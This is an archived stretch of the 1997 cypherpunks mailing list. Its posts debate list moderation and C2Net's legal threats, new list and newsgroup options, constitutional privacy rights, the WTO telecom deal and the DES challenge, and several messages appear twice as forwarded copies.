X#!/usr/bin/perl X X# A very weak attempt at normalising the body of a mail message. X# Removes trailing white space on all lines, and removes leading X# and trailing blank lines. X# Does not attempt to normalise any MIME content-transfer-encoding. X X$total_nonblank_lines = 0; X$consecutive_blank_lines = 0; Xwhile (<>) { X s/\s+$//; X if (/^$/) { X $consecutive_blank_lines++; X } else { X print "\n" x $consecutive_blank_lines if $total_nonblank_lines; X print $_; X $consecutive_blank_lines = 0; X $total_nonblank_lines++; X } X} END-of-normalise-body exit From tcmay at got.net Mon Feb 17 09:51:53 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 17 Feb 1997 09:51:53 -0800 (PST) Subject: The Offending Stronghold posts... In-Reply-To: <1.5.4.32.19970217170243.006f6ab4@pop.pipeline.com> Message-ID: At 12:02 PM -0500 2/17/97, John Young wrote: >Return-Path: cypherpunks-errors at toad.com >X-Sender: jya at pop.pipeline.com >Date: Sun, 09 Feb 1997 13:17:32 -0500 >To: cypherpunks at toad.com >From: John Young >Subject: Who's Censoring Who? >Sender: owner-cypherpunks at toad.com > >Sandy's e-mailed several of us who've sent messages about Vulis's >ploy to put Sandy in a conflict-of-interest bind -- a well-known attack >on moderators of all kinds, not just on the net. Interestingly, I don't recall getting any e-mail from Sandy telling me he was not passing on my messages to either the Main or the Flames list...my messages were simply dropped on the floor. (Others, including John, have said they sometimes got nice Sandygrams explaining why their items were deemed unsuitable for either of the lists. Sandy may have considered it pointless to send me an explanation....) >It's probably worth saving accusations of censorship for the real thing, >after trial usage here for what is truly nasty high-stakes global info-war >gaming. As John likes literary references, recall William Burroughs' warning about "the policeman inside." I can't share John's belief that we should ignore censorship on the CP list (especially messages going to neither of the two specified lists, without notice). Waiting "for the real thing" is not a clear-cut issue, as explicit censorship of political views is not likely to happen in our lifetimes in the U.S. However, "self-censorship," a la the V-chip, the mandatory voluntary labeling of CDs, etc., is becoming the favored route. And the use of the legal system, or threats to use the legal system (a la threats made to Vulis, Against Moderation, etc.) is part of the bullying pulpit (this pun inspired by John's flights of rhetorical fancy). >[Note: Thorn, "cuckoo" and TCM responded to this; none were forwarded >to the cp-edited list, AFIK.] One of the interesting, and utterly predictable, consequences of "silent suppression" of some messages is that those on the unedited list, who see all traffic (for the nonce), get to engage in conversations which are subsequently suppressed so that several of us are having a conversation the main list (and the flames list) are oblivious to! This has had the fascinating effect of having people outside the conversation (as an example, Blanc Weber) gradually figuring out from "approved" messages that something is going on behind the scenes...they they send us messages (as Blanc did) asking what the hell is going on, what we're obliquely referring to. When the excised material is forwarded to them (as I did with Blanc), the reaction is often "Wow! I didn't know." As conversational threads are often so tangled, and become so much more tangled with time, the job of the censor gets more difficult as time passes. Not only must he excise all mention of banned topics, he must also be alert to later discussions making mention of the act of banning, or of the topics. This is territory well-covered by Orwell, of course. The rewriting of history is a full-time job. --Winston Smith Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From aba at dcs.ex.ac.uk Mon Feb 17 10:03:07 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Mon, 17 Feb 1997 10:03:07 -0800 (PST) Subject: Moderation experiment and moderator liability In-Reply-To: <3307FF7D.7B59@gte.net> Message-ID: <199702111922.TAA00444@server.test.net> Dale Thorn writes: > Adam Back wrote: > > [summary of events] > > I believe your summary is very accurate except: > > I would add after the paragraph about Dimitri posting the warning > about C2, that C2's lawyers sent an immediate threatening letter > to Dimitri. Agree, that should be added: 15a. Dimitri received a legal notice from C2Net's lawyers about Dimitri's allegations > I would change the paragraph about Tim May receiving a warning from > C2's lawyers to say that Tim May received a warning second-hand that > anything Tim would say to support or reiterate Dimitri's claims > would be actionable by C2 as well. Let's see I wrote: > 21. Tim received a warning from C2Net's lawyers that if he did not > desist from mentioning that Dimitri had posted an article criticising > a C2Net product that he would be sued! Tim explained the situation in fair detail in his recent post, explaining, after Sandy's "Absolutely false." retort to my above claim. Perhaps my wording could be more accurately changed in the light of the further explanation from Tim to: 21. Tim was told by a C2Net employee that if he did not desist from discussing Dimitri's claims about C2Net's StrongHold product, C2Net would take legal action against him! Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Mon, 17 Feb 1997, Bill Campbell wrote: > However, I'm very confused on just what to do at this > point, my news server doesn't see alt.cypherpunks > yet and if it did would probably lose about 75% of > the posts if past performance is to be any indicator. > (Or more accurately, would never get them, we seem > to be a bottom feeder here in South Florida as far > as the newsgroups go.) > > Has anyone composed a concise summary of just > what the options are? Time is running out, I guess. Here's my understanding of the situation: - Newsgroups alt.cypherpunks, alt.cypherpunks.announce, alt.cypherpunks.social, alt.cypherpunks.technical have been created. - The distributed list is still forming and so far consists of cypherpunks at algebra.com, cypherpunks at ssz.com, and others of which I do not know the location. A mail<->news gateway is planned, but not yet in place, between the distributed list and the newsgroup(s). cypherpunks at algebra.com is receiving messages from cypherpunks-unedited. I assume this means that the other hosts part of the distributed list are also receiving cypherpunks-unedited messages. - Lance Cottrell is running another list (cypherpunks at cyberpass.net) that is not yet part of the distributed list. It is also receiving feed from toad.com. If you don't want to miss any messages, then you should subscribe to both cypherpunks at cyberpass.net and one of the distributed list nodes. Since both are receiving cypherpunks-unedited, you can safely unsubscribe from cypherpunks-unedited, -flames, or the "main" list. Since these lists have overlapping content, you should delete duplicates. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMwif+CzIPc7jvyFpAQEBJwf/T3y22R0W30Sp26Ub4ntH3miJRUBlv9nO GLZqRzT5JI4Ux9Ml6by0aAKxKiOH/mTGuu5ELogsC6hv50F/GKtmQv9kdqTukoJq 19j7WuGCDflve2IPWo9/vSvcJpLBAcGwBnVIOiS8wBR9tz42GxpM/y+/eZgYfYWS OnQHqOA+fDWrKmdNj+3EHuMWXHLoGTILVpX2UGBpFDGZEgoZNM56Oj9CWU5NU3cn 4De/fS5M5L3AO/SGRNQ6CSTqYsixdniapamBdHWeURasvy2iD7Xyxq7li4DzL1VE LB+1qo6AHrmRlS3+4cv3xA+9hsNpFoW0FsicN8sVUP0pGl0ADEVXKA== =HKTe -----END PGP SIGNATURE----- From snow at smoke.suba.com Mon Feb 17 11:03:19 1997 From: snow at smoke.suba.com (snow) Date: Mon, 17 Feb 1997 11:03:19 -0800 (PST) Subject: The Science Generations, II In-Reply-To: <199702170726.XAA26470@toad.com> Message-ID: <199702171922.NAA00333@smoke.suba.com> Mr. May wrote: > Some legal scholars are claiming that there is no provision in the > Constitution guaranteeing anonymity of purchases, and, indeed, a growing > number of purchases can no longer be anonymous--guns, explosives, chemicals > of various sorts, etc. How long before _all_ transactions must be recorded, > True Names revealed, etc.? This is where I often get a little confused. Correct me if I am wrong, but it was my understanding that the constitutuion was _not_ a document that explicitly spelled out what writes _I_ had, but rather spelled out fairly precisely what the _government_ was allowed to do. In otherwords, the Constitution does not restrict _me_ rather it restricts the _feds_ (and the Feds alone). My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government can only, ONLY do what the constitution says it can. ??? From attila at primenet.com Mon Feb 17 11:21:26 1997 From: attila at primenet.com (Attila T. Hun) Date: Mon, 17 Feb 1997 11:21:26 -0800 (PST) Subject: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com In-Reply-To: <3.0.1.32.19970216124146.00643a00@popd.ix.netcom.com> Message-ID: <199702171601.JAA09201@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970216:1241 Bill Stewart said: +Hi! The following headers are from a posting by John Young that looks +like it was sent to cypherpunks at toad.com, +forwarded to cypherpunks at sirius.infonex.com and/or +cypherpunks at cyberpass.net, and has the Reply-To: header +set to reply to cypherpunks at toad.com instead of to John Young.... It +looks like the obvious implementation of cypherpunks-style mail header +patching, but isn't quite right..... Leads to people sending their +John Young mailbot requests to cypherpunks at toad.com instead, as some +well-known cypherpunks have mistakenly done recently :-) this is what Lance said he would do... until toad.com shuts down, you address all messages to cypherpunks at toad.com to avoid overlap. toad.com was never set up to show cypherpunks at road.com in the "Reply-To: " field, but it should have been. mailing lists then have the "From: " field from the original sender, and the "Reply-To: " to the list. Now, there are reasons some list operators do not change the reply field --usually in the hope any responders will not notice the list is not being copied....in just turns into private mail. for the almost 20 years I been playing with mail lists of various sorts starting with simple inbound scoop and explode to list, Lance's convention has been the norm. attila gone... ___________________________________________________________attila_____ "A man owns an ass; he can vote. The ass dies; he cannot vote. Who owns the vote?" --Benjamin Franklin _______________________________________________________________________ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwgLQb04kQrCC2kFAQGUuwP9HGqFFjxWRkTnkN9+Y2AnCErsRtTwYJpL RpKfsz3fJ89xr5qt18EXqt768ZvFclw2ipsdy50FIUSmHqPx+SkZykcTqn/yspX1 B9+HdKE3fYhZNPqwVftX+AEX6ZLYJNlZ1rfak1qaL1ROw164JZR86J4Ik7TiUJZV FBWxiJ85b6A= =gBiw -----END PGP SIGNATURE----- From jya at pipeline.com Mon Feb 17 11:54:32 1997 From: jya at pipeline.com (John Young) Date: Mon, 17 Feb 1997 11:54:32 -0800 (PST) Subject: WTO_tap Message-ID: <1.5.4.32.19970217194822.00726a4c@pop.pipeline.com> Three newspapers have pieces today on the new WTO telecom agreement. A Page 1 NYP report examines the administration's favoring of the once-moribund WTO over the UN as a principal means for "exporting US free-market values through global commercial agreements." The telecom agreement, for the first time, allows the WTO to go inside the signatory countries and check compliance, and if warranted, impose sanctions, a role once reserved to the UN. While encryption is not mentioned, it's worth watching the WTO globally unite its privacy-invasive predecessors: the national tele-tappers. The spin is that now all governments can have access to the global (wiretap) network under guise of enhanced commercial competition. (And that's why Commerce was given EI for CCL.) ----- WTO_tap ---------- For related background, there's informative discussion on the encryption switchover from State to Commerce in the Defense Trade News, archived at the Dept of State Web site. We've put the five issues in which the shift of encryption items from the USML to the CCL is formulated by the Technical Working Group at: January/April 1993: http://jya.com/dtn0193.htm (76K) January 1994: http://jya.com/dtn0194.htm (99K) April 1994: http://jya.com/dtn0494.htm (66K) July/October, 1994: http://jya.com/dtn0794.htm (67K) October 1995: http://jya.com/dtn1095.htm (35K) From tcmay at got.net Mon Feb 17 12:18:40 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 17 Feb 1997 12:18:40 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <199702170726.XAA26470@toad.com> Message-ID: At 1:22 PM -0600 2/17/97, snow wrote: >Mr. May wrote: >> Some legal scholars are claiming that there is no provision in the >> Constitution guaranteeing anonymity of purchases, and, indeed, a growing >> number of purchases can no longer be anonymous--guns, explosives, chemicals >> of various sorts, etc. How long before _all_ transactions must be recorded, >> True Names revealed, etc.? > > This is where I often get a little confused. > > Correct me if I am wrong, but it was my understanding that the >constitutuion was _not_ a document that explicitly spelled out what writes >_I_ had, but rather spelled out fairly precisely what the _government_ was >allowed to do. > > In otherwords, the Constitution does not restrict _me_ rather it >restricts the _feds_ (and the Feds alone). > > My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government >can only, ONLY do what the constitution says it can. > > ??? But why do you not object that the "right to free speech," "the right to keep and bear arms," and so on, are specifically enumeratedin the Bill of Rights? The privacy issue is that there is no such enumeration of a right to privacy in the Bill of Rights, though many think it to be implicit in some of the other enumerated rights, e.g,, the Fourth, and even in the First. Constitutional issues are not easily discussed in short messages like this. Suffice it to say the issue of whether a "right to privacy" exists has been long discussed, most recently by Bork, Posner, and others (I skimmed the latest Posner book a while back, and liked his style). The issue hit when abortion advocates argued that a "woman's right to privacy" allowed abortions. However, none of the enumerated rights made this obvious. Bork has opined that no right to privacy can be inferred from the Constitution. (And I always thought the "woman's right to privacy" argument for abortion was flaky. Accepting such an argument, wouldn't infanticide be equally protected by a woman's right to privacy?) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From froomkin at law.miami.edu Mon Feb 17 12:21:47 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Mon, 17 Feb 1997 12:21:47 -0800 (PST) Subject: Cypherpunks afraid of spam? In-Reply-To: Message-ID: On Fri, 14 Feb 1997 aaron at herringn.com wrote: > [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule > him personally, just his (distressingly common) attitude] Hey, I can take the heat. But I'm afraid you missed my perhaps too-terse point. > >Just for the record. I will not post to USENET given the spamming that > >seems to go to IDs that appear there. > > [chuckle] > > Just add an anti-spam segment to your email address. > > example: > > jsmith[at]foo.com > It's not that simple. Consider: 1) I stopped learning more about new computer tools than the minimum needed to do my work a long time ago, when I stopped programming and started lawyering. It wasn't an efficient use of my time. 2) Our system here has ONE email system: PINE. It defaults my "from" address. There is no obvious way to override it. I may have the necessary tools and permissions, I may not; I don't feel like taking whatever time it takes to figure it out. We use PINE for usenet and email, using the same config file. There are other usenet tools here, like tin, but I would have to learn them. Again, I have no idea if I have the permissions/tools/knowledge to alter my headers. I am certain that I could hack it with time enough and motivation enough. I have neither. 3) I do other things besides talk to you with this tool. I communicate with students, family and others. I want them to get my real headers. I don't want an elaborate switching mechanims every time I change the person I'm speaking to. > Most people worth talking to have enough of a clue to replace [at] with @. > > if your software requires an apparently valid email address, try > > jsmith at NOSPAM.foo.com > > I put a spam-busted address in my .sig and give root at 127.0.0.1 as my email > in the from: header. Sure, somebody out there is going to be unhappy with > me, but if they have a clue they'll figure it out. Meantime, the SpamBots > are bouncing mail to the admin of the site instead of to me. > > That may not be enough if you're already in the spamming lists. Try > using 'positive' filtering- instead of filtering to eliminate unwanted > mail, filter email from regular correspondents into a 'approved' > directory, and leave the rest in the inbox to pick through later. > > It seems very strange that the denziens of this list, reputed to be gutsy > enough to take on the FBI, NSA, CIA, and White House, would be scared > away from a discussion forum (Usenet) by uninvited email. > > We'd better hope they never figure out Cypherpunks, Guardians of > Privacy and Defenders of Free Speech, are afraid of spam. > > (And supposedly the 'Moderation experiment' is over, so this won't get > kicked onto the -flames list, although it's more ridicule than flame...) > > > > == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From aba at dcs.ex.ac.uk Mon Feb 17 12:56:17 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Mon, 17 Feb 1997 12:56:17 -0800 (PST) Subject: Moderation experiment and moderator liability Message-ID: <199702172056.MAA13513@toad.com> Dale Thorn writes: > Adam Back wrote: > > [summary of events] > > I believe your summary is very accurate except: > > I would add after the paragraph about Dimitri posting the warning > about C2, that C2's lawyers sent an immediate threatening letter > to Dimitri. Agree, that should be added: 15a. Dimitri received a legal notice from C2Net's lawyers about Dimitri's allegations > I would change the paragraph about Tim May receiving a warning from > C2's lawyers to say that Tim May received a warning second-hand that > anything Tim would say to support or reiterate Dimitri's claims > would be actionable by C2 as well. Let's see I wrote: > 21. Tim received a warning from C2Net's lawyers that if he did not > desist from mentioning that Dimitri had posted an article criticising > a C2Net product that he would be sued! Tim explained the situation in fair detail in his recent post, explaining, after Sandy's "Absolutely false." retort to my above claim. Perhaps my wording could be more accurately changed in the light of the further explanation from Tim to: 21. Tim was told by a C2Net employee that if he did not desist from discussing Dimitri's claims about C2Net's StrongHold product, C2Net would take legal action against him! Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Three newspapers have pieces today on the new WTO telecom agreement. A Page 1 NYP report examines the administration's favoring of the once-moribund WTO over the UN as a principal means for "exporting US free-market values through global commercial agreements." The telecom agreement, for the first time, allows the WTO to go inside the signatory countries and check compliance, and if warranted, impose sanctions, a role once reserved to the UN. While encryption is not mentioned, it's worth watching the WTO globally unite its privacy-invasive predecessors: the national tele-tappers. The spin is that now all governments can have access to the global (wiretap) network under guise of enhanced commercial competition. (And that's why Commerce was given EI for CCL.) ----- WTO_tap ---------- For related background, there's informative discussion on the encryption switchover from State to Commerce in the Defense Trade News, archived at the Dept of State Web site. We've put the five issues in which the shift of encryption items from the USML to the CCL is formulated by the Technical Working Group at: January/April 1993: http://jya.com/dtn0193.htm (76K) January 1994: http://jya.com/dtn0194.htm (99K) April 1994: http://jya.com/dtn0494.htm (66K) July/October, 1994: http://jya.com/dtn0794.htm (67K) October 1995: http://jya.com/dtn1095.htm (35K) From drz at froody.bloke.com Mon Feb 17 12:56:21 1997 From: drz at froody.bloke.com (Tim Newsome) Date: Mon, 17 Feb 1997 12:56:21 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702172056.MAA13527@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Sat, 15 Feb 1997, Adam Back wrote: > > 5. The prize money will be split equally between Gutenberg and EFF. > > There is a possibility of using part of it for stickers or > > something similar, but don't count on it. > Not a good idea. > How can this be enforced? The RSADSI DES challenge is open to all Unless people modify the client, we will know about it before they do. Yes, people might cheat. Main point is we don't want to turn this into a race for money. (Also, that way we can't use university machines etc.) This topic has been discussed too often also. Read the archives for more debate. Tim Tim Newsome. Programmer for Megasoft. Student at CMU. Cynic in life. Intel sucks. Motorola forever! If it's not PGP signed, it didn't come from me. Always look on the bright side of life. I think I think therefore I think I am. drz at froody.bloke.com http://www.local.com/~tnewsom/ PGP key: 2048/C32F01A5 -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv Comment: In God we trust. Everybody else we verify using PGP! iQEVAwUBMwh34PKkXTDDLwGlAQE/KggAmWk9rL86fknnXWy9ASPWQokH6J0vEzW+ qhrBklXwv0Lz5HGNV92OM0qh9KI+bqFct9aNY0B15g6APspSUNYr7RaXI2/LaSYb 0gG7YpPe2kHFdSWsodhYyu7DTzYvdDI1AJOmEnSUKHQPKiLwU/RgVZiLEttuvIcS GCjDEGEW7C0YIrQKTkLoYKkSHz6HHXQ+/hr66yCBMD7AIS1C/p9yN2ticmQ3hLnd DYSpVQb9NudLcU0bGZC1U31o70hSVmyETTt9VcuJCOXseiggWTZsZuNK/D+f5TfA WBEcIAWToBHfrWSokuF9nunAarmcddQyPu/93hzRkgODVTWgmnpOGA== =IuAs -----END PGP SIGNATURE----- From markm at voicenet.com Mon Feb 17 12:56:25 1997 From: markm at voicenet.com (Mark M.) Date: Mon, 17 Feb 1997 12:56:25 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702172056.MAA13535@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Mon, 17 Feb 1997, Bill Campbell wrote: > However, I'm very confused on just what to do at this > point, my news server doesn't see alt.cypherpunks > yet and if it did would probably lose about 75% of > the posts if past performance is to be any indicator. > (Or more accurately, would never get them, we seem > to be a bottom feeder here in South Florida as far > as the newsgroups go.) > > Has anyone composed a concise summary of just > what the options are? Time is running out, I guess. Here's my understanding of the situation: - Newsgroups alt.cypherpunks, alt.cypherpunks.announce, alt.cypherpunks.social, alt.cypherpunks.technical have been created. - The distributed list is still forming and so far consists of cypherpunks at algebra.com, cypherpunks at ssz.com, and others of which I do not know the location. A mail<->news gateway is planned, but not yet in place, between the distributed list and the newsgroup(s). cypherpunks at algebra.com is receiving messages from cypherpunks-unedited. I assume this means that the other hosts part of the distributed list are also receiving cypherpunks-unedited messages. - Lance Cottrell is running another list (cypherpunks at cyberpass.net) that is not yet part of the distributed list. It is also receiving feed from toad.com. If you don't want to miss any messages, then you should subscribe to both cypherpunks at cyberpass.net and one of the distributed list nodes. Since both are receiving cypherpunks-unedited, you can safely unsubscribe from cypherpunks-unedited, -flames, or the "main" list. Since these lists have overlapping content, you should delete duplicates. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMwif+CzIPc7jvyFpAQEBJwf/T3y22R0W30Sp26Ub4ntH3miJRUBlv9nO GLZqRzT5JI4Ux9Ml6by0aAKxKiOH/mTGuu5ELogsC6hv50F/GKtmQv9kdqTukoJq 19j7WuGCDflve2IPWo9/vSvcJpLBAcGwBnVIOiS8wBR9tz42GxpM/y+/eZgYfYWS OnQHqOA+fDWrKmdNj+3EHuMWXHLoGTILVpX2UGBpFDGZEgoZNM56Oj9CWU5NU3cn 4De/fS5M5L3AO/SGRNQ6CSTqYsixdniapamBdHWeURasvy2iD7Xyxq7li4DzL1VE LB+1qo6AHrmRlS3+4cv3xA+9hsNpFoW0FsicN8sVUP0pGl0ADEVXKA== =HKTe -----END PGP SIGNATURE----- From attila at PrimeNet.Com Mon Feb 17 12:56:32 1997 From: attila at PrimeNet.Com (Attila T. Hun) Date: Mon, 17 Feb 1997 12:56:32 -0800 (PST) Subject: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com Message-ID: <199702172056.MAA13554@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970216:1241 Bill Stewart said: +Hi! The following headers are from a posting by John Young that looks +like it was sent to cypherpunks at toad.com, +forwarded to cypherpunks at sirius.infonex.com and/or +cypherpunks at cyberpass.net, and has the Reply-To: header +set to reply to cypherpunks at toad.com instead of to John Young.... It +looks like the obvious implementation of cypherpunks-style mail header +patching, but isn't quite right..... Leads to people sending their +John Young mailbot requests to cypherpunks at toad.com instead, as some +well-known cypherpunks have mistakenly done recently :-) this is what Lance said he would do... until toad.com shuts down, you address all messages to cypherpunks at toad.com to avoid overlap. toad.com was never set up to show cypherpunks at road.com in the "Reply-To: " field, but it should have been. mailing lists then have the "From: " field from the original sender, and the "Reply-To: " to the list. Now, there are reasons some list operators do not change the reply field --usually in the hope any responders will not notice the list is not being copied....in just turns into private mail. for the almost 20 years I been playing with mail lists of various sorts starting with simple inbound scoop and explode to list, Lance's convention has been the norm. attila gone... ___________________________________________________________attila_____ "A man owns an ass; he can vote. The ass dies; he cannot vote. Who owns the vote?" --Benjamin Franklin _______________________________________________________________________ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwgLQb04kQrCC2kFAQGUuwP9HGqFFjxWRkTnkN9+Y2AnCErsRtTwYJpL RpKfsz3fJ89xr5qt18EXqt768ZvFclw2ipsdy50FIUSmHqPx+SkZykcTqn/yspX1 B9+HdKE3fYhZNPqwVftX+AEX6ZLYJNlZ1rfak1qaL1ROw164JZR86J4Ik7TiUJZV FBWxiJ85b6A= =gBiw -----END PGP SIGNATURE----- From tcmay at got.net Mon Feb 17 12:56:35 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 17 Feb 1997 12:56:35 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702172056.MAA13555@toad.com> At 1:22 PM -0600 2/17/97, snow wrote: >Mr. May wrote: >> Some legal scholars are claiming that there is no provision in the >> Constitution guaranteeing anonymity of purchases, and, indeed, a growing >> number of purchases can no longer be anonymous--guns, explosives, chemicals >> of various sorts, etc. How long before _all_ transactions must be recorded, >> True Names revealed, etc.? > > This is where I often get a little confused. > > Correct me if I am wrong, but it was my understanding that the >constitutuion was _not_ a document that explicitly spelled out what writes >_I_ had, but rather spelled out fairly precisely what the _government_ was >allowed to do. > > In otherwords, the Constitution does not restrict _me_ rather it >restricts the _feds_ (and the Feds alone). > > My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government >can only, ONLY do what the constitution says it can. > > ??? But why do you not object that the "right to free speech," "the right to keep and bear arms," and so on, are specifically enumeratedin the Bill of Rights? The privacy issue is that there is no such enumeration of a right to privacy in the Bill of Rights, though many think it to be implicit in some of the other enumerated rights, e.g,, the Fourth, and even in the First. Constitutional issues are not easily discussed in short messages like this. Suffice it to say the issue of whether a "right to privacy" exists has been long discussed, most recently by Bork, Posner, and others (I skimmed the latest Posner book a while back, and liked his style). The issue hit when abortion advocates argued that a "woman's right to privacy" allowed abortions. However, none of the enumerated rights made this obvious. Bork has opined that no right to privacy can be inferred from the Constitution. (And I always thought the "woman's right to privacy" argument for abortion was flaky. Accepting such an argument, wouldn't infanticide be equally protected by a woman's right to privacy?) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From snow at smoke.suba.com Mon Feb 17 12:56:36 1997 From: snow at smoke.suba.com (snow) Date: Mon, 17 Feb 1997 12:56:36 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702172056.MAA13556@toad.com> Mr. May wrote: > Some legal scholars are claiming that there is no provision in the > Constitution guaranteeing anonymity of purchases, and, indeed, a growing > number of purchases can no longer be anonymous--guns, explosives, chemicals > of various sorts, etc. How long before _all_ transactions must be recorded, > True Names revealed, etc.? This is where I often get a little confused. Correct me if I am wrong, but it was my understanding that the constitutuion was _not_ a document that explicitly spelled out what writes _I_ had, but rather spelled out fairly precisely what the _government_ was allowed to do. In otherwords, the Constitution does not restrict _me_ rather it restricts the _feds_ (and the Feds alone). My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government can only, ONLY do what the constitution says it can. ??? From tcmay at got.net Mon Feb 17 12:56:38 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 17 Feb 1997 12:56:38 -0800 (PST) Subject: The Offending Stronghold posts... Message-ID: <199702172056.MAA13557@toad.com> At 12:02 PM -0500 2/17/97, John Young wrote: >Return-Path: cypherpunks-errors at toad.com >X-Sender: jya at pop.pipeline.com >Date: Sun, 09 Feb 1997 13:17:32 -0500 >To: cypherpunks at toad.com >From: John Young >Subject: Who's Censoring Who? >Sender: owner-cypherpunks at toad.com > >Sandy's e-mailed several of us who've sent messages about Vulis's >ploy to put Sandy in a conflict-of-interest bind -- a well-known attack >on moderators of all kinds, not just on the net. Interestingly, I don't recall getting any e-mail from Sandy telling me he was not passing on my messages to either the Main or the Flames list...my messages were simply dropped on the floor. (Others, including John, have said they sometimes got nice Sandygrams explaining why their items were deemed unsuitable for either of the lists. Sandy may have considered it pointless to send me an explanation....) >It's probably worth saving accusations of censorship for the real thing, >after trial usage here for what is truly nasty high-stakes global info-war >gaming. As John likes literary references, recall William Burroughs' warning about "the policeman inside." I can't share John's belief that we should ignore censorship on the CP list (especially messages going to neither of the two specified lists, without notice). Waiting "for the real thing" is not a clear-cut issue, as explicit censorship of political views is not likely to happen in our lifetimes in the U.S. However, "self-censorship," a la the V-chip, the mandatory voluntary labeling of CDs, etc., is becoming the favored route. And the use of the legal system, or threats to use the legal system (a la threats made to Vulis, Against Moderation, etc.) is part of the bullying pulpit (this pun inspired by John's flights of rhetorical fancy). >[Note: Thorn, "cuckoo" and TCM responded to this; none were forwarded >to the cp-edited list, AFIK.] One of the interesting, and utterly predictable, consequences of "silent suppression" of some messages is that those on the unedited list, who see all traffic (for the nonce), get to engage in conversations which are subsequently suppressed so that several of us are having a conversation the main list (and the flames list) are oblivious to! This has had the fascinating effect of having people outside the conversation (as an example, Blanc Weber) gradually figuring out from "approved" messages that something is going on behind the scenes...they they send us messages (as Blanc did) asking what the hell is going on, what we're obliquely referring to. When the excised material is forwarded to them (as I did with Blanc), the reaction is often "Wow! I didn't know." As conversational threads are often so tangled, and become so much more tangled with time, the job of the censor gets more difficult as time passes. Not only must he excise all mention of banned topics, he must also be alert to later discussions making mention of the act of banning, or of the topics. This is territory well-covered by Orwell, of course. The rewriting of history is a full-time job. --Winston Smith Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jer+ at andrew.cmu.edu Mon Feb 17 13:00:25 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Mon, 17 Feb 1997 13:00:25 -0800 (PST) Subject: The Science Generations, II In-Reply-To: <199702171922.NAA00333@smoke.suba.com> Message-ID: <0n2APH200YUe0Bfrk0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- snow writes: > Mr. May wrote: > > Some legal scholars are claiming that there is no provision in the > > Constitution guaranteeing anonymity of purchases, and, indeed, a growing > > number of purchases can no longer be anonymous--guns, explosives, chemicals > > of various sorts, etc. How long before _all_ transactions must be recorded, > > True 